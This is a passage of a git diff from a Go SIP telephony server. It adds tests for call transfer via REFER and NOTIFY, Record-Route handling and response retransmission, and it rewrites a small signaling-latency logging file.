request: %v", ctx.Err()) + case msg := <-reqChan: + require.NotNil(t, msg) + require.Equal(t, sip.BYE, msg.req.Method) + require.Equal(t, call.localTag, msg.req.To().Params.GetOr("tag", "")) + t.Logf("Received BYE") + resp := sip.NewResponseFromRequest(msg.req, 200, sipStatus(200), nil) + return msg.tx.Respond(resp) + } + } + + sendBye := func(t *testing.T, call *sipUADialogTest) error { + t.Helper() + t.Logf("Sending BYE") + resp := call.TransactionRequest(t, call.NewRequest(sip.BYE)) + t.Logf("Received BYE-%d %s response", resp.StatusCode, resp.Reason) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting BYE-200 OK") + return nil + } + + type transferAPIResult struct { + resp *rpc.InternalTransferSIPParticipantResponse + err error + } + + startTransferFull := func(t *testing.T, ctx context.Context, st *serviceTest, call *sipUADialogTest, to string, headers map[string]string, dialtone bool) <-chan transferAPIResult { + t.Helper() + done := make(chan transferAPIResult, 1) + go func() { + defer close(done) + transferReq := &rpc.InternalTransferSIPParticipantRequest{ + SipCallId: string(call.remoteTag), + TransferTo: to, + Headers: headers, + PlayDialtone: dialtone, + } + if deadline, ok := ctx.Deadline(); ok { + transferReq.RingingTimeout = durationpb.New(time.Until(deadline) + (5 * time.Millisecond)) + } + resp, err := st.Service.TransferSIPParticipant(ctx, transferReq) + done <- transferAPIResult{resp: resp, err: err} + }() + return done + } + + // startTransfer reports only the error, which is all most subtests care about. + startTransfer := func(t *testing.T, ctx context.Context, st *serviceTest, call *sipUADialogTest, to string, headers map[string]string, dialtone bool) <-chan error { + t.Helper() + full := startTransferFull(t, ctx, st, call, to, headers, dialtone) + done := make(chan error, 1) + go func() { + defer close(done) + if res := <-full; res.err != nil { + done <- res.err + } + }() + return done + } + + directions := map[string]func(t *testing.T, st *serviceTest) *sipUADialogTest{ + "inbound": func(t *testing.T, st *serviceTest) *sipUADialogTest { + call, _ := st.CreateInboundCall(t) + return call + }, + "outbound": func(t *testing.T, st *serviceTest) *sipUADialogTest { + call, _, _ := st.CreateOutboundCall(t) + return call + }, + } + + for direction, setupCall := range directions { + t.Run(direction, func(t *testing.T) { + t.Parallel() + t.Run("normal", func(t *testing.T) { + t.Parallel() + call := setupCall(t, st) + + reqChan := call.RegisterRequestChannel("") + defer call.UnregisterRequestChannel("") + + ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) + defer cancel() + + transferRes := startTransfer(t, ctx, st, call, referTo, nil, false) + + err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) + require.NoError(t, err, "Failed to process REFER request") + err = sendNotify(t, ctx, call, []int{100, 180, 200}) + require.NoError(t, err, "Failed to send NOTIFY requests") + err = handleBye(t, ctx, reqChan, call) // Expexting BYE after successful transfer + require.NoError(t, err, "Failed to process BYE request") + select { + case err := <-transferRes: + require.NoError(t, err, "error transferring call, unexpected transfer API response") + case <-ctx.Done(): + require.NoError(t, ctx.Err(), "timeout waiting for BYE to arrive") + } + }) + + t.Run("response", func(t *testing.T) { + // The API reports the outcome in the response, not just through + // the error return. + t.Parallel() + call := setupCall(t, st) + + reqChan := call.RegisterRequestChannel("") + defer call.UnregisterRequestChannel("") + + ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) + defer cancel() + + transferRes := startTransferFull(t, ctx, st, call, referTo, nil, false) + + err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) + require.NoError(t, err, "Failed to process REFER request") + err = sendNotify(t, ctx, call, []int{100, 180, 200}) + require.NoError(t, err, "Failed to send NOTIFY requests") + err = handleBye(t, ctx, reqChan, call) + require.NoError(t, err, "Failed to process BYE request") + + select { + case res := <-transferRes: + require.NoError(t, res.err) + require.NotNil(t, res.resp) + require.NotEmpty(t, res.resp.TransferId, "the response must identify the transfer") + require.Equal(t, livekit.SIPTransferStatus_STS_TRANSFER_SUCCESSFUL, res.resp.Status) + require.Equal(t, livekit.SIPTransferReason_STR_COMPLETED, res.resp.Reason) + require.Nil(t, res.resp.SipStatus) + case <-ctx.Done(): + require.NoError(t, ctx.Err(), "timeout waiting for the transfer result") + } + }) + + t.Run("noraml_concurrent", func(t *testing.T) { + // Same as normal, but with multiple concurrent transfers API requests. + t.Parallel() + call := setupCall(t, st) + + reqChan := call.RegisterRequestChannel("") + defer call.UnregisterRequestChannel("") + + ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) + defer cancel() + + transferResults := []<-chan error{ + startTransfer(t, ctx, st, call, referTo, nil, false), + startTransfer(t, ctx, st, call, referTo, nil, false), + startTransfer(t, ctx, st, call, referTo, nil, false), + } + + err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) + require.NoError(t, err, "Failed to process REFER request") + err = sendNotify(t, ctx, call, []int{100, 180, 200}) + require.NoError(t, err, "Failed to send NOTIFY requests") + err = handleBye(t, ctx, reqChan, call) // Expexting BYE after successful transfer + require.NoError(t, err, "Failed to process BYE request") + for _, transferRes := range transferResults { + select { + case err := <-transferRes: + require.NoError(t, err, "error transferring call, unexpected transfer API response") + case <-ctx.Done(): + require.NoError(t, ctx.Err(), "timeout waiting for BYE to arrive") + } + } + }) + + t.Run("with headers", func(t *testing.T) { + t.Parallel() + call := setupCall(t, st) + + reqChan := call.RegisterRequestChannel("") + defer call.UnregisterRequestChannel("") + + ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) + defer cancel() + + headers := map[string]string{ + "X-Custom-Header": "custom-value", + } + transferRes := startTransfer(t, ctx, st, call, referTo, headers, false) + + err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, headers)) + require.NoError(t, err, "Failed to process REFER request") + err = sendNotify(t, ctx, call, []int{100, 180, 200}) + require.NoError(t, err, "Failed to send NOTIFY requests") + err = handleBye(t, ctx, reqChan, call) // Expexting BYE after successful transfer + require.NoError(t, err, "Failed to process BYE request") + select { + case err := <-transferRes: + require.NoError(t, err, "error transferring call, unexpected transfer API response") + case <-ctx.Done(): + require.NoError(t, ctx.Err(), "timeout waiting for BYE to arrive") + } + }) + + t.Run("failed", func(t *testing.T) { + // Transfer fails, we don't receive a BYE + const finalNotifyStatus = 480 + + t.Parallel() + call := setupCall(t, st) + + reqChan := call.RegisterRequestChannel("") + defer call.UnregisterRequestChannel("") + + ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) + defer cancel() + + transferRes := startTransfer(t, ctx, st, call, referTo, nil, false) + + err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) + require.NoError(t, err, "Failed to process REFER request") + err = sendNotify(t, ctx, call, []int{100, 180, finalNotifyStatus}) + require.NoError(t, err, "Failed to send NOTIFY requests") + select { + case <-time.After(time.Millisecond * 250): + t.Logf("No BYE received, as expected") + case msg := <-reqChan: + t.Fatalf("Received unexpected request: %+v", msg) + } + err = sendBye(t, call) + require.NoError(t, err, "Failed to send BYE request") + select { + case err := <-transferRes: + t.Logf("Received error: %v", err) + require.Error(t, err) + var psErr psrpc.Error + require.ErrorAs(t, err, &psErr) + var sipErr *livekit.SIPStatus + require.ErrorAs(t, err, &sipErr) + require.Equal(t, livekit.SIPStatusCode(finalNotifyStatus), sipErr.Code) + require.Equal(t, sipStatus(finalNotifyStatus), sipErr.Status) + case <-ctx.Done(): + require.NoError(t, ctx.Err(), "timeout waiting for BYE to arrive") + } + }) + + t.Run("failed_concurrent", func(t *testing.T) { + // Transfer fails, we don't receive a BYE + const finalNotifyStatus = 480 + + t.Parallel() + call := setupCall(t, st) + + reqChan := call.RegisterRequestChannel("") + defer call.UnregisterRequestChannel("") + + ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) + defer cancel() + + transferResults := []<-chan error{ + startTransfer(t, ctx, st, call, referTo, nil, false), + startTransfer(t, ctx, st, call, referTo, nil, false), + startTransfer(t, ctx, st, call, referTo, nil, false), + } + + err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) + require.NoError(t, err, "Failed to process REFER request") + err = sendNotify(t, ctx, call, []int{100, 180, finalNotifyStatus}) + require.NoError(t, err, "Failed to send NOTIFY requests") + select { + case <-time.After(time.Millisecond * 250): + t.Logf("No BYE received, as expected") + case msg := <-reqChan: + t.Fatalf("Received unexpected request: %+v", msg) + } + err = sendBye(t, call) + require.NoError(t, err, "Failed to send BYE request") + for i, transferRes := range transferResults { + select { + case err := <-transferRes: + t.Logf("Received error: %v for transfer %d", err, i) + require.Error(t, err) + var psErr psrpc.Error + require.ErrorAs(t, err, &psErr) + var sipErr *livekit.SIPStatus + require.ErrorAs(t, err, &sipErr) + require.Equal(t, livekit.SIPStatusCode(finalNotifyStatus), sipErr.Code) + require.Equal(t, sipStatus(finalNotifyStatus), sipErr.Status) + case <-ctx.Done(): + require.NoError(t, ctx.Err(), "timeout waiting for BYE to arrive") + } + } + }) + + t.Run("refer_rejected", func(t *testing.T) { + // The peer refuses the REFER outright, so no subscription is + // created and the SIP status is reported as-is. + const referStatus = 403 + + t.Parallel() + call := setupCall(t, st) + + reqChan := call.RegisterRequestChannel("") + defer call.UnregisterRequestChannel("") + + ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) + defer cancel() + + transferRes := startTransfer(t, ctx, st, call, referTo, nil, false) + + err := handleRefer(t, ctx, reqChan, call, referStatus, expectHeaders(referTo, nil)) + require.NoError(t, err, "Failed to process REFER request") + + select { + case err := <-transferRes: + t.Logf("Received error: %v", err) + require.Error(t, err) + var sipErr *livekit.SIPStatus + require.ErrorAs(t, err, &sipErr) + require.Equal(t, livekit.SIPStatusCode(referStatus), sipErr.Code) + case <-ctx.Done(): + require.NoError(t, ctx.Err(), "timeout waiting for the transfer to fail") + } + err = sendBye(t, call) + require.NoError(t, err, "Failed to send BYE request") + }) + + t.Run("no_notify", func(t *testing.T) { + // REFER accepted, but the peer never reports an outcome, so the + // transfer runs out of time. + t.Parallel() + call := setupCall(t, st) + + reqChan := call.RegisterRequestChannel("") + defer call.UnregisterRequestChannel("") + + ctx, cancel := context.WithTimeout(t.Context(), time.Second) + defer cancel() + + transferRes := startTransfer(t, ctx, st, call, referTo, nil, false) + + err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) + require.NoError(t, err, "Failed to process REFER request") + + select { + case err := <-transferRes: + t.Logf("Received error: %v", err) + require.Error(t, err) + var psErr psrpc.Error + require.ErrorAs(t, err, &psErr) + require.Equal(t, psrpc.Canceled, psErr.Code()) + case <-time.After(3 * time.Second): + require.Fail(t, "timeout waiting for the transfer to fail") + } + err = sendBye(t, call) + require.NoError(t, err, "Failed to send BYE request") + }) + + t.Run("bye", func(t *testing.T) { + // After REFER gets 202 we wait on NOTIFY; remote hangs up with BYE + // instead, so the transfer outcome is never reported. + t.Parallel() + call := setupCall(t, st) + + reqChan := call.RegisterRequestChannel("") + defer call.UnregisterRequestChannel("") + + ctx, cancel := context.WithTimeout(t.Context(), time.Second*5) + defer cancel() + + headers := map[string]string{ + "X-Custom-Header": "custom-value", + } + transferRes := startTransferFull(t, ctx, st, call, referTo, headers, false) + + err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, headers)) + require.NoError(t, err, "Failed to process REFER request") + err = sendBye(t, call) + require.NoError(t, err, "Failed to send BYE request") + + select { + case res := <-transferRes: + // No error: callers branch on that today and this case has + // always reached them as a success. The response is where the + // transfer says it did not complete. + require.NoError(t, res.err) + require.NotNil(t, res.resp) + require.Equal(t, livekit.SIPTransferStatus_STS_TRANSFER_FAILED, res.resp.Status) + require.Equal(t, livekit.SIPTransferReason_STR_CALL_ENDED, res.resp.Reason) + require.Nil(t, res.resp.SipStatus, "no SIP status was reported for this transfer") + require.NotEmpty(t, res.resp.TransferId) + case <-ctx.Done(): + require.NoError(t, ctx.Err(), "timeout waiting for the transfer result") + } + }) + + t.Run("bye_after_success", func(t *testing.T) { + // Our peer reports the transfer succeeded, then BYEs the original + // leg because it is no longer needed. The NOTIFY and the BYE are + // handled on separate goroutines, so the result must still win + // over the call ending. + t.Parallel() + call := setupCall(t, st) + + reqChan := call.RegisterRequestChannel("") + defer call.UnregisterRequestChannel("") + + ctx, cancel := context.WithTimeout(t.Context(), time.Second*5) + defer cancel() + + transferRes := startTransfer(t, ctx, st, call, referTo, nil, false) + + err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) + require.NoError(t, err, "Failed to process REFER request") + + // Both requests are built before either is sent: the NOTIFY is + // still in flight when the BYE goes out. + notifyReq := call.NewRequest(sip.NOTIFY) + notifyReq.AppendHeader(sip.NewHeader("Event", "refer")) + notifyReq.AppendHeader(sip.NewHeader("Content-Type", "message/sipfrag")) + notifyReq.SetBody([]byte(sip.NewResponse(200, sipStatus(200)).String())) + byeReq := call.NewRequest(sip.BYE) + + // Send the NOTIFY without waiting for its response: it is only + // answered once the result is handed over, and the call is being + // torn down at the same time, so whether it gets answered at all + // is not what this test is about. + notifyTx, err := st.TestUA.Client.TransactionRequest(notifyReq) + require.NoError(t, err) + defer notifyTx.Terminate() + + resp := call.TransactionRequest(t, byeReq) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting BYE-200 OK") + + select { + case err := <-transferRes: + require.NoError(t, err, "a completed transfer must not be reported as aborted") + case <-ctx.Done(): + require.NoError(t, ctx.Err(), "timeout waiting for the transfer result") + } + }) + + t.Run("terminated_subscription", func(t *testing.T) { + // The peer ends the refer subscription while still reporting a + // provisional status, so no final status will ever arrive. + t.Parallel() + call := setupCall(t, st) + + reqChan := call.RegisterRequestChannel("") + defer call.UnregisterRequestChannel("") + + ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) + defer cancel() + + transferRes := startTransfer(t, ctx, st, call, referTo, nil, false) + + err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) + require.NoError(t, err, "Failed to process REFER request") + err = sendNotify(t, ctx, call, []int{100, 180}) + require.NoError(t, err, "Failed to send NOTIFY requests") + + start := time.Now() + err = sendNotifyRaw(t, ctx, call, withSipfrag(100), withSubState("terminated;reason=noresource")) + require.NoError(t, err, "Failed to send terminating NOTIFY request") + + select { + case err := <-transferRes: + t.Logf("Received error: %v", err) + require.ErrorIs(t, err, errReferSubscriptionTerminated) + var psErr psrpc.Error + require.ErrorAs(t, err, &psErr) + require.Equal(t, psrpc.UpstreamServerError, psErr.Code()) + // The point of the fix: fail now, not after the transfer deadline. + require.Less(t, time.Since(start), 500*time.Millisecond) + case <-ctx.Done(): + require.NoError(t, ctx.Err(), "timeout waiting for the transfer to fail") + } + err = sendBye(t, call) + require.NoError(t, err, "Failed to send BYE request") + }) + + t.Run("terminated_subscription_no_body", func(t *testing.T) { + // The peer ends the refer subscription with a NOTIFY that carries + // no sipfrag at all, so there is no status to read and the + // subscription state alone decides the outcome. + t.Parallel() + call := setupCall(t, st) + + reqChan := call.RegisterRequestChannel("") + defer call.UnregisterRequestChannel("") + + ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) + defer cancel() + + transferRes := startTransfer(t, ctx, st, call, referTo, nil, false) + + err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) + require.NoError(t, err, "Failed to process REFER request") + err = sendNotify(t, ctx, call, []int{100}) + require.NoError(t, err, "Failed to send NOTIFY requests") + err = sendNotifyRaw(t, ctx, call, withSubState("terminated;reason=giveup")) + require.NoError(t, err, "Failed to send terminating NOTIFY request") + + select { + case err := <-transferRes: + t.Logf("Received error: %v", err) + require.ErrorIs(t, err, errReferSubscriptionTerminated) + case <-ctx.Done(): + require.NoError(t, ctx.Err(), "timeout waiting for the transfer to fail") + } + err = sendBye(t, call) + require.NoError(t, err, "Failed to send BYE request") + }) + + t.Run("terminated_subscription_success", func(t *testing.T) { + // The final NOTIFY of a successful transfer also terminates the + // subscription, so success has to be decided first. + t.Parallel() + call := setupCall(t, st) + + reqChan := call.RegisterRequestChannel("") + defer call.UnregisterRequestChannel("") + + ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) + defer cancel() + + transferRes := startTransfer(t, ctx, st, call, referTo, nil, false) + + err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) + require.NoError(t, err, "Failed to process REFER request") + err = sendNotify(t, ctx, call, []int{100, 180}) + require.NoError(t, err, "Failed to send NOTIFY requests") + err = sendNotifyRaw(t, ctx, call, withSipfrag(200), withSubState("terminated;reason=noresource")) + require.NoError(t, err, "Failed to send final NOTIFY request") + err = handleBye(t, ctx, reqChan, call) // Expecting BYE after successful transfer + require.NoError(t, err, "Failed to process BYE request") + select { + case err := <-transferRes: + require.NoError(t, err, "error transferring call, unexpected transfer API response") + case <-ctx.Done(): + require.NoError(t, ctx.Err(), "timeout waiting for BYE to arrive") + } + }) + }) + } +} + +func TestRouteSet(t *testing.T) { + st := NewServiceTest(t, nil) + // makeRouteSetHeaders creates two Record-Route headers simulating two proxies + // in the signaling path. Returns the headers and the expected Route order for + // both UAC and UAS sides. + makeRouteSetHeaders := func(t *testing.T, st *serviceTest) (rrHeaders []sip.Header, expectUAS, expectUAC []string) { + t.Helper() + uri := st.TestUA.LocalURI() + uri1 := *uri + uri1.User = "proxy-user1" + uri1.UriParams = sip.NewParams() + uri1.UriParams.Add("lr", "") + uri1.UriParams.Add("check", "first") + uri2 := *uri + uri2.User = "proxy-user2" + uri2.UriParams = sip.NewParams() + uri2.UriParams.Add("lr", "") + uri2.UriParams.Add("check", "second") + rr1 := &sip.RecordRouteHeader{Address: uri1} + rr2 := &sip.RecordRouteHeader{Address: uri2} + // Record-Route order as seen on the wire: rr1 (topmost), rr2 + rrHeaders = []sip.Header{rr1, rr2} + // UAS route set: in order (RFC 3261 §12.1.1) + expectUAS = []string{rr1.Value(), rr2.Value()} + // UAC route set: reversed (RFC 3261 §12.1.2) + expectUAC = []string{rr2.Value(), rr1.Value()} + return + } + + // assertRouteHeaders verifies that a request carries the expected Route headers. + assertRouteHeaders := func(t *testing.T, req *sip.Request, expected []string) { + t.Helper() + routeHeaders := req.GetHeaders("Route") + require.Equal(t, len(expected), len(routeHeaders), "wrong number of Route headers") + for i, exp := range expected { + require.Equal(t, exp, routeHeaders[i].Value(), "Route header %d mismatch", i) + } + } + + t.Run("inbound", func(t *testing.T) { + t.Parallel() + // Server is UAS for inbound calls. Route set should be in order. + + t.Run("BYE", func(t *testing.T) { + t.Parallel() + rrHeaders, expectUAS, _ := makeRouteSetHeaders(t, st) + call, ic := st.CreateInboundCall(t, withTestHeaders(rrHeaders...)) + + byeSink := st.TestUA.RegisterSink(call.localTag, "BYE") + defer st.TestUA.UnregisterSink(call.localTag, "BYE") + + ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) + defer cancel() + + // Close triggers server-side BYE. Run in goroutine since Close + // blocks until the BYE transaction completes. + closed := make(chan error, 1) + go func() { + defer close(closed) + closed <- ic.Close() + }() + + select { + case msg := <-byeSink: + require.NotNil(t, msg) + require.Equal(t, sip.BYE, msg.req.Method) + assertRouteHeaders(t, msg.req, expectUAS) + _ = msg.tx.Respond(sip.NewResponseFromRequest(msg.req, 200, "OK", nil)) + case <-ctx.Done(): + require.Fail(t, "timeout waiting for BYE") + } + err := <-closed + require.NoError(t, err) + }) + + t.Run("REFER", func(t *testing.T) { + t.Parallel() + rrHeaders, expectUAS, _ := makeRouteSetHeaders(t, st) + call, ic := st.CreateInboundCall(t, withTestHeaders(rrHeaders...)) + t.Cleanup(func() { ic.Close() }) + + referSink := st.TestUA.RegisterSink(call.localTag, "REFER") + defer st.TestUA.UnregisterSink(call.localTag, "REFER") + + ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) + defer cancel() + + transferRes := make(chan error, 1) + go func() { + defer close(transferRes) + _, err := ic.transferCall(ctx, "tel:+15551234567", nil, false) + transferRes <- err + }() + + select { + case msg := <-referSink: + require.NotNil(t, msg) + require.Equal(t, sip.REFER, msg.req.Method) + assertRouteHeaders(t, msg.req, expectUAS) + _ = msg.tx.Respond(sip.NewResponseFromRequest(msg.req, 202, "Accepted", nil)) + case err := <-transferRes: + require.Fail(t, "unexpected transfer result", err) + case <-ctx.Done(): + require.Fail(t, "timeout waiting for REFER") + } + + req := call.NewRequest(sip.BYE) + resp := st.TestUA.TransactionRequest(t, req, false) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting 200 OK") + + // The call ended before any NOTIFY reported the transfer outcome. + err := <-transferRes + require.ErrorIs(t, err, errTransferCallEnded) + }) + }) + + t.Run("outbound", func(t *testing.T) { + t.Parallel() + // Server is UAC for outbound calls. Route set should be reversed. + + t.Run("ACK", func(t *testing.T) { + t.Parallel() + rrHeaders, _, expectUAC := makeRouteSetHeaders(t, st) + call, _, ackReq := st.CreateOutboundCall(t, withTestHeaders(rrHeaders...)) + assertRouteHeaders(t, ackReq, expectUAC) + + req := call.NewRequest(sip.BYE) + resp := st.TestUA.TransactionRequest(t, req, false) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting 200 OK") + }) + + t.Run("BYE", func(t *testing.T) { + t.Parallel() + rrHeaders, _, expectUAC := makeRouteSetHeaders(t, st) + call, oc, _ := st.CreateOutboundCall(t, withTestHeaders(rrHeaders...)) + + byeSink := st.TestUA.RegisterSink(call.localTag, "BYE") + defer st.TestUA.UnregisterSink(call.localTag, "BYE") + + ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) + defer cancel() + + closed := make(chan error, 1) + go func() { + defer close(closed) + closed <- oc.Close(ctx) + }() + + select { + case msg := <-byeSink: + require.NotNil(t, msg) + require.Equal(t, sip.BYE, msg.req.Method) + assertRouteHeaders(t, msg.req, expectUAC) + _ = msg.tx.Respond(sip.NewResponseFromRequest(msg.req, 200, "OK", nil)) + case <-ctx.Done(): + require.Fail(t, "timeout waiting for BYE") + } + err := <-closed + require.NoError(t, err) + }) + + t.Run("REFER", func(t *testing.T) { + t.Parallel() + rrHeaders, _, expectUAC := makeRouteSetHeaders(t, st) + call, oc, _ := st.CreateOutboundCall(t, withTestHeaders(rrHeaders...)) + + referSink := st.TestUA.RegisterSink(call.localTag, "REFER") + defer st.TestUA.UnregisterSink(call.localTag, "REFER") + + ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) + defer cancel() + + transferRes := make(chan error, 1) + go func() { + defer close(transferRes) + _, err := oc.transferCall(ctx, "tel:+15551234567", nil, false) + transferRes <- err + }() + + select { + case msg := <-referSink: + require.NotNil(t, msg) + require.Equal(t, sip.REFER, msg.req.Method) + assertRouteHeaders(t, msg.req, expectUAC) + _ = msg.tx.Respond(sip.NewResponseFromRequest(msg.req, 202, "Accepted", nil)) + case err := <-transferRes: + require.Fail(t, "unexpected transfer result", err) + case <-ctx.Done(): + require.Fail(t, "timeout waiting for REFER") + } + + req := call.NewRequest(sip.BYE) + resp := st.TestUA.TransactionRequest(t, req, false) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting 200 OK") + + // The call ended before any NOTIFY reported the transfer outcome. + err := <-transferRes + require.ErrorIs(t, err, errTransferCallEnded) + }) + }) +} + +func TestRetransmission(t *testing.T) { + st := NewServiceTest(t, nil) + // Withhold ACK, expect server-side retransmission of 200 + t.Run("INVITE-200", func(t *testing.T) { + t.Parallel() + + call := newTestCall(st.TestUA, false) + req, localSDP, err := call.Invite(nil) + require.NoError(t, err) + call.SetLocalSDP(localSDP) + + tx, err := st.TestUA.Client.TransactionRequest(req) + require.NoError(t, err) + t.Cleanup(tx.Terminate) + + ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) + defer cancel() + + resp := getFinalResponseOrFail(t, ctx, tx) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting 200 OK") + remoteTag, ok := resp.To().Params.Get("tag") + require.True(t, ok, "remote tag should be present") + call.SetRemoteTag(LocalTag(remoteTag)) + call.SetRemoteSDP(resp.Body()) + call.SetRouteSet(resp, true) + t.Cleanup(func() { + bye := call.NewRequest(sip.BYE) + st.TestUA.TransactionRequest(t, bye, true) + }) + + for range 2 { + resp = getFinalResponseOrFail(t, ctx, tx) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting 200 OK") + } + + call.localCseq-- + ackReq := call.NewRequest(sip.ACK) + err = st.TestUA.Client.WriteRequest(ackReq) + require.NoError(t, err) + }) + + // Resend invite-200, expect client-side retransmission of ACK + t.Run("ACK", func(t *testing.T) { + t.Skip("TODO: Known gap at this time") + t.Parallel() + + call := newTestCall(st.TestUA, true) + req := call.CreateSipParticipantRequest() + ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) + defer cancel() + + inviteCh := make(chan *sipUARequest, 1) + st.mu.Lock() + st.Pending[string(call.remoteTag)] = inviteCh + st.mu.Unlock() + defer func() { + st.mu.Lock() + delete(st.Pending, string(call.remoteTag)) + st.mu.Unlock() + }() + + _, err := st.Client.CreateSIPParticipant(ctx, req) + require.NoError(t, err) + + var msg *sipUARequest + select { + case msg = <-inviteCh: + t.Logf("invite received: %+v", msg) + case <-ctx.Done(): + require.Fail(t, "timeout waiting for invite") + } + + require.NotNil(t, msg, "unexpected nil message") + + require.Equal(t, string(call.remoteTag), msg.req.From().Params.GetOr("tag", ""), "remote tag should be the same") + require.Equal(t, call.remoteUser, msg.req.From().Address.User, "remote user should be the same") + require.Equal(t, call.localUser, msg.req.To().Address.User, "local user should be the same") + + offer, err := sdp.ParseOfferWith(defaultCodecs, msg.req.Body()) + require.NoError(t, err) + sdpAnswer, _, err := offer.Answer(netip.MustParseAddr("4.3.2.1"), 0xB00, sdp.EncryptionNone) + require.NoError(t, err) + answerBytes, err := sdpAnswer.SDP.Marshal() + require.NoError(t, err) + resp := sip.NewResponseFromRequest(msg.req, sip.StatusOK, "OK", answerBytes) + resp.To().Params.Add("tag", call.localTag) + + call.callID = msg.req.CallID().Value() + call.remoteCseq = msg.req.CSeq().SeqNo + call.SetRemoteSDP(msg.req.Body()) + call.SetLocalSDP(resp.Body()) + call.SetRouteSet(resp, false) + reqSink := st.TestUA.RegisterSink(call.localTag, "") + + // Now we want to send 3x 200 responses + for range 3 { + err = msg.tx.Respond(resp) + require.NoError(t, err) + + select { + case ack := <-reqSink: + require.Equal(t, sip.ACK, ack.req.Method) + require.Equal(t, msg.req.CSeq().SeqNo, ack.req.CSeq().SeqNo) + require.Equal(t, msg.req.CallID().Value(), ack.req.CallID().Value()) + require.Equal(t, call.localTag, ack.req.To().Params.GetOr("tag", "")) + case <-ctx.Done(): + require.Fail(t, "timeout waiting for ACK retransmission") + } + } + t.Cleanup(func() { + bye := call.NewRequest(sip.BYE) + st.TestUA.TransactionRequest(t, bye, false) + }) + }) +} diff --git a/pkg/sip/signaling_timestamps.go b/pkg/sip/signaling_timestamps.go index 788d72beb..86b663348 100644 --- a/pkg/sip/signaling_timestamps.go +++ b/pkg/sip/signaling_timestamps.go @@ -1,84 +1,84 @@ -// Copyright 2026 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "time" - - "github.com/livekit/protocol/logger" -) - -// SignalingTimestamps records wall-clock times for key SIP signaling events -// so that setup latency can be logged at the end of a session. -type SignalingTimestamps struct { - // Inbound: INVITE received; Outbound: INVITE sent. - InviteTime time.Time - - // Inbound: 100 Trying sent; Outbound: 100 Trying received. - // Zero if 100 Trying was never sent/received. - TryingTime time.Time - - // Inbound: first 180/183 sent; Outbound: first 180/183 received. - RingingTime time.Time - - // Inbound: 200 OK sent; Outbound: 200 OK received. - AcceptTime time.Time - - // Outbound only: time the API request was received (call creation). - APITime time.Time - - // Outbound only: ACK sent after receiving 200 OK. - AckTime time.Time -} - -func (ts *SignalingTimestamps) Log(log logger.Logger) { - if ts.InviteTime.IsZero() { - return - } - - var fields []interface{} - - // Outbound: API -> INVITE sent - if !ts.APITime.IsZero() { - fields = append(fields, "apiToInviteMs", ts.InviteTime.Sub(ts.APITime).Milliseconds()) - } - - // INVITE -> 100 Trying - if !ts.TryingTime.IsZero() { - fields = append(fields, "inviteToTryingMs", ts.TryingTime.Sub(ts.InviteTime).Milliseconds()) - } - - // INVITE -> first 180/183 Ringing - if !ts.RingingTime.IsZero() { - fields = append(fields, "inviteToRingingMs", ts.RingingTime.Sub(ts.InviteTime).Milliseconds()) - } - - // INVITE -> 200 OK - if !ts.AcceptTime.IsZero() { - fields = append(fields, "inviteToAcceptMs", ts.AcceptTime.Sub(ts.InviteTime).Milliseconds()) - } - - // 200 OK -> ACK (outbound) - if !ts.AckTime.IsZero() && !ts.AcceptTime.IsZero() { - fields = append(fields, "acceptToAckMs", ts.AckTime.Sub(ts.AcceptTime).Milliseconds()) - } - - // Total outbound: API -> ACK - if !ts.APITime.IsZero() && !ts.AckTime.IsZero() { - fields = append(fields, "apiToAckMs", ts.AckTime.Sub(ts.APITime).Milliseconds()) - } - - log.Infow("signaling timestamps", fields...) -} +// Copyright 2026 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "time" + + "github.com/livekit/protocol/logger" +) + +// SignalingTimestamps records wall-clock times for key SIP signaling events +// so that setup latency can be logged at the end of a session. +type SignalingTimestamps 